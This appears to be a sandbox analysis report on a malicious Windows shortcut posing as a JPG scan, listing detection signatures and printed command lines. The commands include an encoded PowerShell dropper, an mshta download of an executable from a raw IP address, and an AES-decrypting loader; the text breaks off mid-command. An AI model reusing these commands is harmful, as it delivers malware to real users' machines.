Edit tour
Windows
Analysis Report
Scan_Zayavlenie_1416-02-24_13-02-2024.jpg.lnk
Overview
General Information
Detection
Reverse SSH
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Outlook Reverse SSH
Adds a directory exclusion to Windows Defender
Found suspicious powershell code related to unpacking or dynamic code loading
Powershell drops PE file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Bypass UAC via Fodhelper.exe
Sigma detected: Legitimate Application Dropped Executable
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious MSHTA Child Process
Suspicious execution chain found
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Uses cmd line tools excessively to alter registry or file data
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 6872 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Wi ndows\Syst em32\SyncA ppvPublish ingServer. vbs" ;606, 612,601,61 3,594,529, 601,613,61 3,609,555, 544,544,55 4,546,543, 554,547,54 3,547,549, 553,543,54 8,551,544, 565,608,61 6,607,605, 608,594,59 7,612,544, 596,608,60 7,599,602, 600,543,59 8,617,598| %{$v+=[cha r]($_-497) };$v | pow ershell - MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 6556 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NonIntera ctive -Win dowStyle H idden -Exe cutionPoli cy RemoteS igned -Com mand &{$en v:psmodule path = [IO .Directory ]::GetCurr entDirecto ry(); impo rt-module AppvClient ; Sync-App vPublishin gServer ;6 06,612,601 ,613,594,5 29,601,613 ,613,609,5 55,544,544 ,554,546,5 43,554,547 ,543,547,5 49,553,543 ,548,551,5 44,565,608 ,616,607,6 05,608,594 ,597,612,5 44,596,608 ,607,599,6 02,600,543 ,598,617,5 98|%{$v+=[ char]($_-4 97)};$v | powershell -} MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4020 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3736 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" - MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 7228 cmdline:
"C:\Window s\system32 \mshta.exe " http://9 1.92.248.3 6/Download s/config.e xe MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 7384 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $lw xeG = 'AAA AAAAAAAAAA AAAAAAAADi 2epN7fcra4 0XELGZ2nGE AsDhsrUvjM ujmRKhpEGY I1/mlN9CGU O/LEZGzBu3 lpUUykkecL V2n1LG0b8b 0wgLOIhpCh bRKD3Cio1K TmonVlj6Ib olnQlnFloI uNrZQGtymm JS7riCipYI QpEzwKji+/ bHL8PpvZik ew880hnvpD UhHqL4pejv MVP1YdORu3 tVFj4syRhI vRC4Pf0sZv hfmaPiWFyX 96KsAYMckP 2zaZKkghMY dAnlMH/a6E x3w70iz33N 9Xs3d1JQ/S QGMe0iZfZC 3Jcl/jFrha O2c4IdQqJw NzE+uHx1gv IX0OxJLh6B X7DfTFKV70 Z0cgBNtl/9 QridRw6vd9 XintaC//8b xK/gzKWJ7a MsPm1k27E7 AR0cXm2ccj bdzijA/E6r 8h6t5nDGk+ wkxH5ABuZd GWRo+HVjDQ mOpHZ99vL3 br4USX/98t 470di4CPhB uot0X+8zsW 93rNkC7YQU UHI2qQVx16 go31A3jt6h m/oznJiYNe WIFhkfdH/D M2A8mSbRI5 056fvooJVi rEZunHo6Aw ZEUy33iy1Y XqVqKbOYyb 3P6GcYnfI+ 9k75OyUxg3 TktEMPf5co /JH77DE3Is bW5j95pXTW vf5UciyF5d 5TkT/qAsr4 ywwGAxRgYl LWYmEpMmhA Z7/1+wS9w4 o9NEHn4aHj xBjyDe3vZC odYdrI6va8 DvchP7KBUR mWrtrxSCoe BD1UUbYK7N ryS1wjfDix J3D6OESzRH GdCvD+DIEr onfsuBTuxt UektGRBacY uAvB+YeiN1 O9HdGHQy6f 711c78rHgM Hh3lDKf2WL 62HF+P3H9b c6JuBkY3hr O7xy3eEmp6 KPJj90bhQr c3/B6Xj9Qg wr/COHwVTq lF5+5QbBld xbOiOMUS9G M7Gt5A2JpG E7IGjqW9j3 C03NTX2kR4 B9sC66S782 IpAU+MCPBT OVP5+zYuF7 1vJSsLOT+b S5INi9WMmD eSj+oomBLC uvMchTkCO0 yrqc271XTR WgJHKTvS31 QBxI6T0pBs YIh2gnBWoy zLu/Uz2Sp/ qxQjk59I0H 45iHspWx5D 45phdNMMVO 3pkpfroEs0 vBmzpRW7T4 KbtXki+NmL TPVB1zqmuD HqtBpG2sAy 5ySAoa5HZs jdDilPBNUK b6SUT23miN kEJgzBk2s6 oEZK0wAXwW l0Ph/KWEAy AVbYK7OoLK jVQYVOLP+L jvqixwUfs7 ncdQBBVbSh L1ornsvJJs yHw+t1kcvQ 9CyE/VVaJb nJosnfnOxA LgNffnEkbx of9ECLUXVs WVEWdX15Fc Be+IiFQcse JtTEk7RcfB UQgCMfwK8w Nb+EcJ2M1K WBNOPrcvI4 8GtopAV3kF Ik9+DYf1g6 6Qr7F1YNm0 waAuVb84Ql tOrUmoMIEV gSHtbo/oTx 8EDd0FhE0s DuBCM6ikvt CLurJqsiRa 1SF5UUbcxt UpzYuVP6IT V+AhRfsFf/ Ap3VKHOdlz /ITgwTmtLr tAM+uQQ1Bf /qywC75jFW cQB886CFQi QFC4PqYAv8 5Lxot6FRig 5230KNgGpB dWszSrzvBT lxA9rGlHkF EIfNZ6A8iz CEpNPId8uB noL+jnKs53 yeI0Bp821f ff7C38v7Vi BFPcKI+/jY aD6GVpYZBN J';$WGDBiK y = 'd2pBQ 0tLVm5tYXR udnVxa3NRc Fh5Sm15dVJ JbGhucW0=' ;$kBxNOvx = New-Obje ct 'System .Security. Cryptograp hy.AesMana ged';$kBxN Ovx.Mode = [System.S ecurity.Cr yptography .CipherMod e]::ECB;$k BxNOvx.Pad ding = [Sy stem.Secur ity.Crypto graphy.Pad dingMode]: :Zeros;$kB xNOvx.Bloc kSize = 12 8;$kBxNOvx .KeySize = 256;$kBxN Ovx.Key = [System.Co nvert]::Fr omBase64St ring($WGDB iKy);$FsKt e = [Syste m.Convert] ::FromBase 64String($ lwxeG);$sm gZMEpR = $ FsKte[0..1 5];$kBxNOv x.IV = $sm gZMEpR;$UH pZmNUla = $kBxNOvx.C reateDecry ptor();$bJ yUsCLbx = $UHpZmNUla .Transform FinalBlock ($FsKte, 1 6, $FsKte. Length - 1 6);$kBxNOv x.Dispose( );$sFWkZQE l = New-Ob ject Syste m.IO.Memor yStream( , $bJyUsCLb x );$wMIYl QQW = New-